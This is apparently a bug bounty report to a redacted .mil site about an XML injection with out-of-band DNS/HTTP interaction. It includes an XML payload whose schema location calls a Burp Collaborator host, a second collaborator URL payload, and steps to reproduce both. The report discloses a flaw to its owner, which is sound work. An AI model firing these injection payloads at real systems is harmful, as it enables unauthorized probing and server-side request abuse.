How it was found

Greetings, I found on one of your sites an XML Injection + External service Interaction (DNS/HTTP) Link of the vulnerable file : https://█████.mil/██████████ Payload XML Injection :

<fkpxmlns="http://a.b/"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://a.b/http://wiiyjpk3neg58qeu4vb5j8vpcgi86x.burpcollaborator.net/fkp.xsd">fkp</fkp>

(please change the link of burp collaborator and + URL encode the payload)

#How to reproduce

█████ (I cut the video because the reception time is 30-40 seconds, it is not very relevant)

here is another payload that works, without XML :

http://hzk9we4fcukbidprbvxdhw5iv914pudl0bo0.burpcollaborator.net/?setWarningMsg

(please change the link of burp collaborator) it is also necessary to wait a little, possibly one minute.

all the ips I receive are from ███.

if you need help, don't hesitate. fiveguyslover.
